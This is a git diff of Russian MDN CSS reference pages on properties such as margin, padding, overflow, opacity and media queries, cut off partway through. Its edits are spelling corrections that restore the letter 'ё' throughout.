              Если размер элемента выходит за пределы контейнера выравнивания, элемент выравнивается, как если бы режим выравнивания имел значение start.
              
  
              unsafe
              
  
              Независимо от относительных размеров элемента и контейнера выравнивания, данное значение выравнивания учитывается.
              
  
              legacy
              
- 
              Создает значение, унаследованное потомками блока. Обратите внимание, что если потомок имеет значение justify-self: auto, ключевое слово legacy не учитывается по нисходящему наследованию. Действует только со значением left, right, или center, связанным с ним.
              
+ 
              Создаёт значение, унаследованное потомками блока. Обратите внимание, что если потомок имеет значение justify-self: auto, ключевое слово legacy не учитывается по нисходящему наследованию. Действует только со значением left, right, или center, связанным с ним.

            • Формальный синтаксис

            @@ -164,7 +164,7 @@ justify-items: unset; diff --git a/files/ru/web/css/layout_cookbook/breadcrumb_navigation/index.html b/files/ru/web/css/layout_cookbook/breadcrumb_navigation/index.html index 6dab482257..ee254f16d9 100644 --- a/files/ru/web/css/layout_cookbook/breadcrumb_navigation/index.html +++ b/files/ru/web/css/layout_cookbook/breadcrumb_navigation/index.html @@ -5,7 +5,7 @@ translation_of: Web/CSS/Layout_cookbook/Breadcrumb_Navigation ---
            {{CSSRef}}
            -

            Навигация по хлебным крошкам помогает пользователю понять свое местоположение на веб-сайте, обеспечивая обратный путь к начальной странице.

            +

            Навигация по хлебным крошкам помогает пользователю понять своё местоположение на веб-сайте, обеспечивая обратный путь к начальной странице.

            Links displayed inline with separators

            @@ -22,7 +22,7 @@ translation_of: Web/CSS/Layout_cookbook/Breadcrumb_Navigation
            -

            Примечание: В приведенном выше примере используются два селектора для вставки содержимого перед каждым li, кроме первого. Этого также можно добиться, используя только один селектор:

            +

            Примечание: В приведённом выше примере используются два селектора для вставки содержимого перед каждым li, кроме первого. Этого также можно добиться, используя только один селектор:

            .breadcrumb li:not(:first-child)::before {
   content: "→";
diff --git a/files/ru/web/css/layout_cookbook/index.html b/files/ru/web/css/layout_cookbook/index.html
index ca19142c28..898ba58672 100644
--- a/files/ru/web/css/layout_cookbook/index.html
+++ b/files/ru/web/css/layout_cookbook/index.html
@@ -11,12 +11,12 @@ tags:
 translation_of: Web/CSS/Layout_cookbook
 ---
 
            {{CSSRef}}
            
-Книга рецептов CSS объединяет примеры большинства наиболее распространенных лейаут паттернов, которые могу встретиться вам при разработке веб-сайтов.
            
+Книга рецептов CSS объединяет примеры большинства наиболее распространённых лейаут паттернов, которые могу встретиться вам при разработке веб-сайтов.
            
 
            
 В дополнение к представленным примерам кода, - которые вы вполне можете использовать в качестве отправной точки для своих проектов, - эти рецепты иллюстрируют нестандартные способы применения существующих лейаут (layout) спецификаций. Паттерны, представленные ниже, должны помочь вам увидеть новые варианты решения проблем, встречающихся в жизни разработчика.
            
 
 

            
-Примечание. Если вы новичок в в работе с CSS, то сначала вы можете взглянуть на наш модуль обучения макетам CSS, так как он даст вам базовые знания, необходимые для использования приведенных здесь рецептов.
            
+Примечание. Если вы новичок в в работе с CSS, то сначала вы можете взглянуть на наш модуль обучения макетам CSS, так как он даст вам базовые знания, необходимые для использования приведённых здесь рецептов.

            The Recipes

            diff --git a/files/ru/web/css/layout_cookbook/split_navigation/index.html b/files/ru/web/css/layout_cookbook/split_navigation/index.html index 5f08999af1..c6b66d5e2f 100644 --- a/files/ru/web/css/layout_cookbook/split_navigation/index.html +++ b/files/ru/web/css/layout_cookbook/split_navigation/index.html @@ -11,7 +11,7 @@ translation_of: Web/CSS/Layout_cookbook/Split_Navigation

            Требования

            -

            Распространенный навигационный шаблон имеет один элемент, который отделен от остальных. Мы можем использовать Flexbox для того, чтобы сделать это, без необходимости создавать два набора элементов в двух раздельных flex контейнерах. 

            +

            Распространённый навигационный шаблон имеет один элемент, который отделен от остальных. Мы можем использовать Flexbox для того, чтобы сделать это, без необходимости создавать два набора элементов в двух раздельных flex контейнерах. 

            Рецепт

            diff --git a/files/ru/web/css/layout_cookbook/sticky_footers/index.html b/files/ru/web/css/layout_cookbook/sticky_footers/index.html index 945d727438..d5cc1a5c97 100644 --- a/files/ru/web/css/layout_cookbook/sticky_footers/index.html +++ b/files/ru/web/css/layout_cookbook/sticky_footers/index.html @@ -33,7 +33,7 @@ translation_of: Web/CSS/Layout_cookbook/Sticky_footers

            Выбор сделан

            -

            В приведенном выше примере мы получаем липкий нижний колонтитул, используя CSS Grid Layout. Класс .wrapper имеет минимальную высоту 100%, что означает, что он такой же высоты, как и контейнер, в котором он находится. Затем мы создаем сетку с одним столбцом с тремя строками, по одной строке для каждой части нашего макета.

            +

            В приведённом выше примере мы получаем липкий нижний колонтитул, используя CSS Grid Layout. Класс .wrapper имеет минимальную высоту 100%, что означает, что он такой же высоты, как и контейнер, в котором он находится. Затем мы создаём сетку с одним столбцом с тремя строками, по одной строке для каждой части нашего макета.

            При автоматическом размещении сетки наши элементы будут располагаться в исходном порядке, поэтому заголовок переходит на первую дорожку с автоматическими размерами, основное содержимое - на дорожку 1fr, а нижний колонтитул - в конечную дорожку с автоматическими размерами. Трек 1fr будет занимать все доступное пространство и поэтому будет увеличиваться, чтобы заполнить этот пробел.

            diff --git a/files/ru/web/css/line-break/index.html b/files/ru/web/css/line-break/index.html index 77a60084f0..3fd8255f5a 100644 --- a/files/ru/web/css/line-break/index.html +++ b/files/ru/web/css/line-break/index.html @@ -33,7 +33,7 @@ line-break: unset;
            loose
            Разрыв текста, используя правило разрыва строки с наименьшими ограничениями. Обычно используется для коротких строк, например, в газетах.
            normal
            -
            Разрыв текста, используя наиболее распространенное правило разрыва строки.
            +
            Разрыв текста, используя наиболее распространённое правило разрыва строки.
            strict
            Разрыв текста, используя самое строгое правило разрыва строки.
            diff --git a/files/ru/web/css/list-style-image/index.html b/files/ru/web/css/list-style-image/index.html index fd53b2bf17..75ab704334 100644 --- a/files/ru/web/css/list-style-image/index.html +++ b/files/ru/web/css/list-style-image/index.html @@ -40,7 +40,7 @@ list-style-image: unset;
            {{cssxref("<url>")}}
            Расположение элемента для использования в качестве маркера.
            none
            -
            Указывает, что изображение не используется в качестве маркера списка. Если установлено это значение, вместо него будет использоваться маркер, определенный в {{ Cssxref("list-style-type") }}.
            +
            Указывает, что изображение не используется в качестве маркера списка. Если установлено это значение, вместо него будет использоваться маркер, определённый в {{ Cssxref("list-style-type") }}.

            Формальный синтаксис

            diff --git a/files/ru/web/css/margin-inline-start/index.html b/files/ru/web/css/margin-inline-start/index.html index 5021330969..cc9db43bce 100644 --- a/files/ru/web/css/margin-inline-start/index.html +++ b/files/ru/web/css/margin-inline-start/index.html @@ -13,7 +13,7 @@ translation_of: Web/CSS/margin-inline-start ---

            {{CSSRef}}{{SeeCompatTable}}

            -

            Свойство margin-inline-start CSS задает логическое строковое (inline)  значение start margin элемента, которое сопоставляется с физическим значением margin в зависимости от режима записи (writing_mode) элемента, направленности и ориентации текста. Это логическое свойство соответствует одному из свойств {{cssxref("margin-top")}},  {{cssxref("margin-right")}}, {{cssxref("margin-bottom")}}, or {{cssxref("margin-left")}} в зависимости от значений {{cssxref("writing-mode")}}, {{cssxref("direction")}}, and {{cssxref("text-orientation")}}.

            +

            Свойство margin-inline-start CSS задаёт логическое строковое (inline)  значение start margin элемента, которое сопоставляется с физическим значением margin в зависимости от режима записи (writing_mode) элемента, направленности и ориентации текста. Это логическое свойство соответствует одному из свойств {{cssxref("margin-top")}},  {{cssxref("margin-right")}}, {{cssxref("margin-bottom")}}, or {{cssxref("margin-left")}} в зависимости от значений {{cssxref("writing-mode")}}, {{cssxref("direction")}}, and {{cssxref("text-orientation")}}.

            /* <length> values */
 margin-inline-start: 10px;  /* абсолютная величина */
diff --git a/files/ru/web/css/margin-left/index.html b/files/ru/web/css/margin-left/index.html
index ae301e9b36..870fe59a5d 100644
--- a/files/ru/web/css/margin-left/index.html
+++ b/files/ru/web/css/margin-left/index.html
@@ -41,7 +41,7 @@ margin-left: unset;
  
            {{cssxref("<percentage>")}}
            
  
            Размер отступа в процентах - размер относительно длины родительского блока.
            
  
            auto
            
- 
            Внешний отступ слева получает долю неиспользованного горизонтального пространства, определяется в основном выбранным способом разметки. Если значения margin-left и margin-right одновременно установлены как auto, расчетное пространство распределяется равномерно. Эта таблица кратко излагает различные:
+ 
            Внешний отступ слева получает долю неиспользованного горизонтального пространства, определяется в основном выбранным способом разметки. Если значения margin-left и margin-right одновременно установлены как auto, расчётное пространство распределяется равномерно. Эта таблица кратко излагает различные:
  
diff --git a/files/ru/web/css/margin-right/index.html b/files/ru/web/css/margin-right/index.html
index d21ce8cdfd..e8fbfc332f 100644
--- a/files/ru/web/css/margin-right/index.html
+++ b/files/ru/web/css/margin-right/index.html
@@ -41,7 +41,7 @@ margin-right: unset;
  
            {{cssxref("<percentage>")}}
            Размер отступа в процентах - размер относительно длины родительского блока.
            auto
            
- 
            Внешний отступ слева получает долю неиспользованного горизонтального пространства, определяется в основном выбранным способом разметки. Если значения margin-left и margin-right одновременно установлены как auto, расчетное пространство распределяется равномерно. Эта таблица кратко излагает различные:
+ 
            Внешний отступ слева получает долю неиспользованного горизонтального пространства, определяется в основном выбранным способом разметки. Если значения margin-left и margin-right одновременно установлены как auto, расчётное пространство распределяется равномерно. Эта таблица кратко излагает различные:
  
            
   
    
            
  
  
            
diff --git a/files/ru/web/css/margin/index.html b/files/ru/web/css/margin/index.html
index 62c2f9ec7a..8841f9ed8c 100644
--- a/files/ru/web/css/margin/index.html
+++ b/files/ru/web/css/margin/index.html
@@ -11,7 +11,7 @@ translation_of_original: Web/CSS/margin-new
 ---
 
            {{CSSRef}}
            
 
-
            Свойство margin CSS определяет внешний отступ на всех четырех сторонах элемента. Это сокращение, которое устанавливает все отдельные поля одновременно: {{cssxref("margin-top")}}, {{cssxref("margin-right")}}, {{cssxref("margin-bottom")}} и {{cssxref("margin-left")}}.
            
+
            Свойство margin CSS определяет внешний отступ на всех четырёх сторонах элемента. Это сокращение, которое устанавливает все отдельные поля одновременно: {{cssxref("margin-top")}}, {{cssxref("margin-right")}}, {{cssxref("margin-bottom")}} и {{cssxref("margin-left")}}.
            /* Применяется ко всем четырём сторонам */
 margin: 1em;
@@ -49,7 +49,7 @@ margin: unset;
     <div class="cell">
       <div class="m m4">margin: 5px 1em 0 auto</div>
     </div>
-    <div class="note">Все вышеприведенные блоки имеют одинаковую ширину 50%</div>
+    <div class="note">Все вышеприведённые блоки имеют одинаковую ширину 50%</div>
   </div>
 </div>
            
 
@@ -112,10 +112,10 @@ margin: unset;
 
 
            Синтаксис
            
 
-
            Свойство margin может быть задано с использованием одного, двух, трех или четырех значений. Каждое значение имеет тип <length>, <percentage> или является ключевым словом auto. Каждое значение может быть положительным, отрицательным или равным нулю.
            
+
            Свойство margin может быть задано с использованием одного, двух, трёх или четырёх значений. Каждое значение имеет тип <length>, <percentage> или является ключевым словом auto. Каждое значение может быть положительным, отрицательным или равным нулю.
              
- 
            • Когда определено одно значение, такое значение определено для всех четырех сторон.
              • 
+ 
            • Когда определено одно значение, такое значение определено для всех четырёх сторон.
              • 
  
            • Когда определены два значения, то первое значение определяет внешний отступ для верхней и нижней стороны, а второе значение определяет отступ для левой и правой стороны.
              • 
  
            • Когда определены три значение, то первое значение определяет внешний отступ для верхней стороны, второе значение определяет внешний отступ для левой и правой стороны, а третье значение определяет отступ для нижней стороны.
              • 
  
            • Когда определены четыре значения, они определяют внешние отступы для верхней стороны, справа, снизу и слева в рассмотренном порядке (по часовой стрелке).
              • 
diff --git a/files/ru/web/css/max-block-size/index.html b/files/ru/web/css/max-block-size/index.html
index 416987e8b3..bce04c2a67 100644
--- a/files/ru/web/css/max-block-size/index.html
+++ b/files/ru/web/css/max-block-size/index.html
@@ -5,7 +5,7 @@ translation_of: Web/CSS/max-block-size
 ---
 
              {{CSSRef}}{{SeeCompatTable}}
              
 
-
              CSS свойство max-block-size определяет максимальный горизонтальный или вертикальный размер блока в зависимости от вида ориентации экрана. Это свойство соответствует либо {{cssxref("max-width")}}, либо {{cssxref("max-height")}}, в зависимости от значения определенного в {{cssxref("writing-mode")}}. Если последнее свойство вертикально ориентировано, значит значение свойства max-block-size относится к максимальной ширине блока, в противном случае относится к максимальной высоте блока. It relates to {{cssxref("max-inline-size")}}, which defines the other dimension of the element.
              
+
              CSS свойство max-block-size определяет максимальный горизонтальный или вертикальный размер блока в зависимости от вида ориентации экрана. Это свойство соответствует либо {{cssxref("max-width")}}, либо {{cssxref("max-height")}}, в зависимости от значения определённого в {{cssxref("writing-mode")}}. Если последнее свойство вертикально ориентировано, значит значение свойства max-block-size относится к максимальной ширине блока, в противном случае относится к максимальной высоте блока. It relates to {{cssxref("max-inline-size")}}, which defines the other dimension of the element.
              
 
 
              /* <length> values */
 max-block-size: 300px;
diff --git a/files/ru/web/css/media_queries/index.html b/files/ru/web/css/media_queries/index.html
index 148efccbea..63d4f820cb 100644
--- a/files/ru/web/css/media_queries/index.html
+++ b/files/ru/web/css/media_queries/index.html
@@ -14,9 +14,9 @@ translation_of: Web/CSS/Media_Queries
 ---
 
              {{CSSRef("CSS3 Media Queries")}}
              
 
-
              Media Queries - ключевой компонент отзывчивого дизайна, который делает возможным для CSS адаптироваться в зависимости от различных параметров или характеристик устройства. Например, media query может применить различные стили если экран меньше определенного размера, или в зависимости от того находится устройство в портретном или альбомном режиме. {{cssxref("@media")}} at-правило используется чтобы задать условия применения стилей к документу.
              
+
              Media Queries - ключевой компонент отзывчивого дизайна, который делает возможным для CSS адаптироваться в зависимости от различных параметров или характеристик устройства. Например, media query может применить различные стили если экран меньше определённого размера, или в зависимости от того находится устройство в портретном или альбомном режиме. {{cssxref("@media")}} at-правило используется чтобы задать условия применения стилей к документу.
              
 
-
              Кроме того, media query синтаксис используется в других контекстах, таких как атрибут {{htmlattrxref("media", "source")}} элемента {{HTMLElement("source")}}, который может быть установлен в media query строку, чтобы определять нужно или нет использовать этот источник, когда выбирается определенное изображение для использования в элементе {{HTMLElement("picture")}}.
              
+
              Кроме того, media query синтаксис используется в других контекстах, таких как атрибут {{htmlattrxref("media", "source")}} элемента {{HTMLElement("source")}}, который может быть установлен в media query строку, чтобы определять нужно или нет использовать этот источник, когда выбирается определённое изображение для использования в элементе {{HTMLElement("picture")}}.
              
 
 
              In addition, the {{domxref("Window.matchMedia()")}} method can be used to test the window against a media query. You can also use {{domxref("MediaQueryList.addListener()")}} to be notified whenever the state of the queries changes. With this functionality, your site or app can respond to changes in the device configuration, orientation, or state.
              
 
diff --git a/files/ru/web/css/media_queries/testing_media_queries/index.html b/files/ru/web/css/media_queries/testing_media_queries/index.html
index facf42b21c..34880c4015 100644
--- a/files/ru/web/css/media_queries/testing_media_queries/index.html
+++ b/files/ru/web/css/media_queries/testing_media_queries/index.html
@@ -42,7 +42,7 @@ mediaQueryList.addListener(handleOrientationChange); // Добавление к
 handleOrientationChange(mediaQueryList); // Запуск обработчика изменений, один раз.
 
              
 
-
              Этот код создает список медиавыражений для тестирование ориентации, а затем добавляет к нему обработчик событий. После добавления обработчика, мы, также, непосредственно вызываем обработчик. Это заставляет нашего обработчика выполнять настройки, основываясь на текущей ориентации устройства; в противном случае, наш код может предполагать, что устройство находится в книжной ориентации при запуске, даже если оно фактически находится в альбомном положении.
              
+
              Этот код создаёт список медиавыражений для тестирование ориентации, а затем добавляет к нему обработчик событий. После добавления обработчика, мы, также, непосредственно вызываем обработчик. Это заставляет нашего обработчика выполнять настройки, основываясь на текущей ориентации устройства; в противном случае, наш код может предполагать, что устройство находится в книжной ориентации при запуске, даже если оно фактически находится в альбомном положении.
              
 
 
              Функция handleOrientationChange() будет следить за результатом выражения и обрабатывать все, что нам нужно сделать при изменении ориентации:
              
 
@@ -57,11 +57,11 @@ handleOrientationChange(mediaQueryList); // Запуск обработчика
 
 
              Выше, мы определяем параметры как evt — event объект. Это имеет значение, поскольку новые реализации MediaQueryList обрабатывают события стандартным способом. Они больше не используют нестандартный механизм  {{domxref("MediaQueryListListener")}} , а используют стандартную настройку обработчика событий, передавая объект event  {{domxref("MediaQueryListEvent")}} как аргумент колбэк-функции.
              
 
-
              Этот event объект также включает свойства {{domxref("MediaQueryListEvent.media","media")}} и {{domxref("MediaQueryListEvent.matches","matches")}}, поэтому вы можете запросить эти свойства MediaQueryList путем прямого доступа к нему или доступа к event объекту.
              
+
              Этот event объект также включает свойства {{domxref("MediaQueryListEvent.media","media")}} и {{domxref("MediaQueryListEvent.matches","matches")}}, поэтому вы можете запросить эти свойства MediaQueryList путём прямого доступа к нему или доступа к event объекту.
              
 
 
              Уведомление о завершении выражения
              
 
-
              Для прекращения уведомлений об изменении значения вашего медиавыражения вызовите метод removeListener() для {{domxref("MediaQueryList") }}, передав ему имя, ранее определенной функции:
              
+
              Для прекращения уведомлений об изменении значения вашего медиавыражения вызовите метод removeListener() для {{domxref("MediaQueryList") }}, передав ему имя, ранее определённой функции:
              
 
 
              mediaQueryList.removeListener(handleOrientationChange);
 
              
diff --git a/files/ru/web/css/media_queries/using_media_queries/index.html b/files/ru/web/css/media_queries/using_media_queries/index.html
index 9923ab8f1e..07014138a2 100644
--- a/files/ru/web/css/media_queries/using_media_queries/index.html
+++ b/files/ru/web/css/media_queries/using_media_queries/index.html
@@ -4,7 +4,7 @@ slug: Web/CSS/Media_Queries/Using_media_queries
 tags:
   - Веб
   - Медиа
-  - Медиа верстка
+  - Медиа вёрстка
   - Медиавыражения
   - Отзывчивый дизайн
   - Продвинутый
@@ -30,7 +30,7 @@ translation_of: Web/CSS/Media_Queries/Using_media_queries
 
 
              Узконаправленные @media
              
 
-
              Media features описывают некие характеристики определенного {{glossary("user agent")}}, устройства вывода или окружения. Например, Вы можете применить выбранные стили  только для широкоэкранных мониторов, компьютеров с мышью, или для устройств, которые используются в условиях слабой освещенности. В примере ниже стили будут применены только когда основное устройство ввода пользователя (например мышь)  будет расположено над элементами:
              
+
              Media features описывают некие характеристики определённого {{glossary("user agent")}}, устройства вывода или окружения. Например, Вы можете применить выбранные стили  только для широкоэкранных мониторов, компьютеров с мышью, или для устройств, которые используются в условиях слабой освещённости. В примере ниже стили будут применены только когда основное устройство ввода пользователя (например мышь)  будет расположено над элементами:
              
 
 
              @media (hover: hover) { ... }
              
 
@@ -38,7 +38,7 @@ translation_of: Web/CSS/Media_Queries/Using_media_queries
 
 
              @media (max-width: 12450px) { ... }
              
 
-
              Если вы создаете медиавыражение без указания значения, вложенные стили будут использоваться до тех пор, пока значение функции не равно нулю. Например, этот CSS будет применяться к любому устройству с цветным экраном:
              
+
              Если вы создаёте медиавыражение без указания значения, вложенные стили будут использоваться до тех пор, пока значение функции не равно нулю. Например, этот CSS будет применяться к любому устройству с цветным экраном:
              
 
 
              @media (color) { ... }
              
 
diff --git a/files/ru/web/css/object-fit/index.html b/files/ru/web/css/object-fit/index.html
index 66c10ac4ed..69cacd65c0 100644
--- a/files/ru/web/css/object-fit/index.html
+++ b/files/ru/web/css/object-fit/index.html
@@ -23,11 +23,11 @@ translation_of: Web/CSS/object-fit
  
              fill
              
  
              Смещаемый контент меняет свой размер таким образом, чтобы заполнить всю область внутри блока: используется вся ширина и высота блока.
              
  
              contain
              
- 
              Смещаемый контент меняет свой размер таким образом, чтобы подстроится под область внутри блока пропорционально собственным параметрам: окончательный размер контента будет определен как "помещенный внутрь" блока, ограничиваясь его шириной и высотой.
              
+ 
              Смещаемый контент меняет свой размер таким образом, чтобы подстроится под область внутри блока пропорционально собственным параметрам: окончательный размер контента будет определён как "помещённый внутрь" блока, ограничиваясь его шириной и высотой.
              
  
              cover
              
- 
              Смещаемый контент меняет свой размер таким образом, чтобы сохранять свои пропорции при заполнении блока: окончательный размер контента будет определен как "покрытие" блока, ограничиваясь его шириной и высотой.
              
+ 
              Смещаемый контент меняет свой размер таким образом, чтобы сохранять свои пропорции при заполнении блока: окончательный размер контента будет определён как "покрытие" блока, ограничиваясь его шириной и высотой.
              
  
              none
              
- 
              Смещаемый контент не изменяет свой размер с целью заполнить пространство блока: конечный размер контента будет определен с использованием алгоритма изменения размера по умолчанию, а также размер объекта по умолчанию равен ширине и высоте смещаемого контента.
              
+ 
              Смещаемый контент не изменяет свой размер с целью заполнить пространство блока: конечный размер контента будет определён с использованием алгоритма изменения размера по умолчанию, а также размер объекта по умолчанию равен ширине и высоте смещаемого контента.
              
 
 
 
              
diff --git a/files/ru/web/css/opacity/index.html b/files/ru/web/css/opacity/index.html
index 5242bb0220..92b9189692 100644
--- a/files/ru/web/css/opacity/index.html
+++ b/files/ru/web/css/opacity/index.html
@@ -68,10 +68,10 @@ translation_of: Web/CSS/opacity
   opacity: 0.2; /* Едва видимый текст на фоне */
 }
 .medium {
-  opacity: 0.5; /* Видимость текста более четкая на фоне */
+  opacity: 0.5; /* Видимость текста более чёткая на фоне */
 }
 .heavy {
-  opacity: 0.9; /* Видимость текста очень четкая на фоне */
+  opacity: 0.9; /* Видимость текста очень чёткая на фоне */
 }
 
 
@@ -105,9 +105,9 @@ img.opacity:hover {
 
 
              Проблемы доступности
              
 
-
              Если непрозрачность текста регулируется, важно убедиться, что коэффициент контрастности между цветом текста и фоном, на котором размещен текст, достаточно высок, чтобы люди, испытывающие проблемы со слабым зрением, могли читать содержимое страницы.
              
+
              Если непрозрачность текста регулируется, важно убедиться, что коэффициент контрастности между цветом текста и фоном, на котором размещён текст, достаточно высок, чтобы люди, испытывающие проблемы со слабым зрением, могли читать содержимое страницы.
              
 
-
              Коэффициент цветовой контрастности определяется путем сравнения яркости текста с откорректированной непрозрачностью и значением цвета фона. Чтобы соответствовать действующим Рекомендациям по доступности веб-контента (WCAG), для текстового содержимого требуется соотношение 4.5:1 и 3:1 для более крупного текста, такого как заголовки. Большой текст определяется как 18.66px и жирный или крупнее, или 24px или выше.
              
+
              Коэффициент цветовой контрастности определяется путём сравнения яркости текста с откорректированной непрозрачностью и значением цвета фона. Чтобы соответствовать действующим Рекомендациям по доступности веб-контента (WCAG), для текстового содержимого требуется соотношение 4.5:1 и 3:1 для более крупного текста, такого как заголовки. Большой текст определяется как 18.66px и жирный или крупнее, или 24px или выше.
              
 
 
                
  
              • WebAIM: Color Contrast Checker
                • 
diff --git a/files/ru/web/css/order/index.html b/files/ru/web/css/order/index.html
index a9265b81c8..783af7d5b6 100644
--- a/files/ru/web/css/order/index.html
+++ b/files/ru/web/css/order/index.html
@@ -55,7 +55,7 @@ order: unset;
 </main>
 <footer>...</footer>
 
-
                Следующий CSS код должен создать классический блок контента окруженный боковыми панелями. Flexible Box Layout Module автоматически создаёт блоки одинаковой высоты и максимально допустимой ширины.
                
+
                Следующий CSS код должен создать классический блок контента окружённый боковыми панелями. Flexible Box Layout Module автоматически создаёт блоки одинаковой высоты и максимально допустимой ширины.
                
 
 
                main { display: flex;  text-align:center; }
 main > article { flex:1;        order: 2; }
diff --git a/files/ru/web/css/orphans/index.html b/files/ru/web/css/orphans/index.html
index d6c5385e17..b279776262 100644
--- a/files/ru/web/css/orphans/index.html
+++ b/files/ru/web/css/orphans/index.html
@@ -2,7 +2,7 @@
 title: orphans
 slug: Web/CSS/orphans
 tags:
-  - Верстка
+  - Вёрстка
   - печать
   - разрыв страницы
   - фрагментация
diff --git a/files/ru/web/css/overflow-block/index.html b/files/ru/web/css/overflow-block/index.html
index ead0067598..2756cb66f9 100644
--- a/files/ru/web/css/overflow-block/index.html
+++ b/files/ru/web/css/overflow-block/index.html
@@ -31,7 +31,7 @@ overflow-block: unset;
 
 
                
  
                visible
                
- 
                Содержимое не обрезается и может отображаться за пределами начального и конечного краев блока отступа.
                
+ 
                Содержимое не обрезается и может отображаться за пределами начального и конечного краёв блока отступа.
                
  
                hidden
                
  
                При необходимости содержимое обрезается, чтобы соответствовать размеру блока в поле заполнения. Полосы прокрутки отсутствуют.
                
  
                scroll
                
diff --git a/files/ru/web/css/overflow-wrap/index.html b/files/ru/web/css/overflow-wrap/index.html
index fda01d4824..8c5409417a 100644
--- a/files/ru/web/css/overflow-wrap/index.html
+++ b/files/ru/web/css/overflow-wrap/index.html
@@ -12,7 +12,7 @@ translation_of: Web/CSS/overflow-wrap
 
 
 
                
-
                Note: В отличие от {{cssxref("word-break")}}, overflow-wrap создает перенос только, если целое слово не может быть размещено на своей линии без переполнения
                
+
                Note: В отличие от {{cssxref("word-break")}}, overflow-wrap создаёт перенос только, если целое слово не может быть размещено на своей линии без переполнения
                
 
                
 
 
                Изначально свойство word-wrap не было стандартом, хотя и было реализовано большинством браузеров. Впоследствии оно было переименовано в overflow-wrap c алиасом word-wrap.
                
@@ -30,7 +30,7 @@ overflow-wrap: initial;
 overflow-wrap: unset;
 
                
 
-
                Свойство overflow-wrap задается с помощью ключевого слова и выбирается из списка значений приведенных ниже:
                
+
                Свойство overflow-wrap задаётся с помощью ключевого слова и выбирается из списка значений приведённых ниже:
                
 
 
                Values
                
 
diff --git a/files/ru/web/css/overflow/index.html b/files/ru/web/css/overflow/index.html
index 58a572c013..00bac1115d 100644
--- a/files/ru/web/css/overflow/index.html
+++ b/files/ru/web/css/overflow/index.html
@@ -9,7 +9,7 @@ translation_of: Web/CSS/overflow
 
 
                Свойство CSS overflow определяет, необходимо ли для переполненного блочного элемента содержимое обрезать, предоставить полосы прокрутки или просто отобразить.
                
 
-
                Использование свойства overflow со значениями, отличными от visible, (значение, принятое по умолчанию), создаёт новый блочный контекст форматирования. Это технически необходимо, поскольку если бы float пересекался с элементом прокрутки, это потребовало бы обеспечить обтекание содержимого прокручиваемого элемента вокруг вторгающихся float'ов. Обтекание при этом было бы необходимо производить после каждого шага прокрутки заново, что привело бы к заметному замедлению прокрутки. Обратите внимание, что при программной установке атрибута scrollTop для соответствующего HTML-элемента, даже если overflow имеет значение hidden, элемент, возможно, придется прокрутить.
                
+
                Использование свойства overflow со значениями, отличными от visible, (значение, принятое по умолчанию), создаёт новый блочный контекст форматирования. Это технически необходимо, поскольку если бы float пересекался с элементом прокрутки, это потребовало бы обеспечить обтекание содержимого прокручиваемого элемента вокруг вторгающихся float'ов. Обтекание при этом было бы необходимо производить после каждого шага прокрутки заново, что привело бы к заметному замедлению прокрутки. Обратите внимание, что при программной установке атрибута scrollTop для соответствующего HTML-элемента, даже если overflow имеет значение hidden, элемент, возможно, придётся прокрутить.
                
 
 
                {{cssinfo}}
                
 
diff --git a/files/ru/web/css/overscroll-behavior/index.html b/files/ru/web/css/overscroll-behavior/index.html
index acdb9c8c05..58377262db 100644
--- a/files/ru/web/css/overscroll-behavior/index.html
+++ b/files/ru/web/css/overscroll-behavior/index.html
@@ -23,7 +23,7 @@ overflow: initial;
 overflow: unset;
 
 
-
                По умолчанию, мобильные браузеры как правило обеспечивают эффект "отскока" или даже обновляют страницу при достижение ее верхней или нижней части (или другой области прокрутки). You may also have noticed that when you have a dialog box with scrolling content on top of a page of scrolling content, once the dialog box's scroll boundary is reached, the underlying page will then start to scroll — this is called scroll chaining.
                
+
                По умолчанию, мобильные браузеры как правило обеспечивают эффект "отскока" или даже обновляют страницу при достижение её верхней или нижней части (или другой области прокрутки). You may also have noticed that when you have a dialog box with scrolling content on top of a page of scrolling content, once the dialog box's scroll boundary is reached, the underlying page will then start to scroll — this is called scroll chaining.
                
 
 
                In some cases these behaviors are not desirable. you can use overscroll-behavior to get rid of unwanted scroll chaining and the browser's Facebook/Twitter app-inspired "pull to refresh"-type behavior.
                
 
diff --git a/files/ru/web/css/padding-left/index.html b/files/ru/web/css/padding-left/index.html
index 0e4c4a28ed..f669f782d3 100644
--- a/files/ru/web/css/padding-left/index.html
+++ b/files/ru/web/css/padding-left/index.html
@@ -15,7 +15,7 @@ translation_of: Web/CSS/padding-left
 
                Внутренний отступ элемента (англ. "padding") - это пространство между его содержимым и его границей.
                
 
 
                
-
                Примечание: Свойство {{cssxref ("padding")}} можно использовать для установки внутренних отступов на всех четырех сторонах элемента одним значением.
                
+
                Примечание: Свойство {{cssxref ("padding")}} можно использовать для установки внутренних отступов на всех четырёх сторонах элемента одним значением.
                
 
                
 
 
                Синтаксис
                
diff --git a/files/ru/web/css/padding/index.html b/files/ru/web/css/padding/index.html
index 8ab7697255..d299d9dbf2 100644
--- a/files/ru/web/css/padding/index.html
+++ b/files/ru/web/css/padding/index.html
@@ -49,7 +49,7 @@ padding: unset;
 
              
 
 
                
- 
              • Одно значение применяется ко всем четырем сторонам
                • 
+ 
              • Одно значение применяется ко всем четырём сторонам
                • 
  
              • Два значения применяются: 1. верхняя и нижняя и 2. левая и правая стороны
                • 
  
              • Три значения применяются: 1. верхняя, 2. левая и правая и 3. нижняя стороны
                • 
  
              • Четыре значения применяются: 1. верхняя, 2. правая, 3. нижняя и 4. левая стороны
                • 
diff --git a/files/ru/web/css/paint-order/index.html b/files/ru/web/css/paint-order/index.html
index c2bcbbf9bf..36f95f78c2 100644
--- a/files/ru/web/css/paint-order/index.html
+++ b/files/ru/web/css/paint-order/index.html
@@ -27,7 +27,7 @@ paint-order: markers stroke fill; /* отрисовывает маркеры, з
 
 
                Если значение не указано, значением по умолчанию является следующий порядок  fill, stroke, markers.
                
 
-
                Когда указано одно значение, то сначала отрисовывается оно, затем два других в дефолтном порядке друг относительно друга. Когда указано два значения, они будут отрисованы в указанном порядке, а затем будет отрисовано неопределенное значение.
                
+
                Когда указано одно значение, то сначала отрисовывается оно, затем два других в дефолтном порядке друг относительно друга. Когда указано два значения, они будут отрисованы в указанном порядке, а затем будет отрисовано неопределённое значение.
                
 
 
                
 
                Примечание: В этом случае, маркеры отрисовываются только при рисовании форм SVG. включающих использование свойств marker-*  (например marker-start) и элемента <marker>. Они не применяются к тексту HTML, в этом случае, вы можете определить только порядок stroke и fill.
                
diff --git a/files/ru/web/css/perspective/index.html b/files/ru/web/css/perspective/index.html
index b0d1d14fc1..015f838b1e 100644
--- a/files/ru/web/css/perspective/index.html
+++ b/files/ru/web/css/perspective/index.html
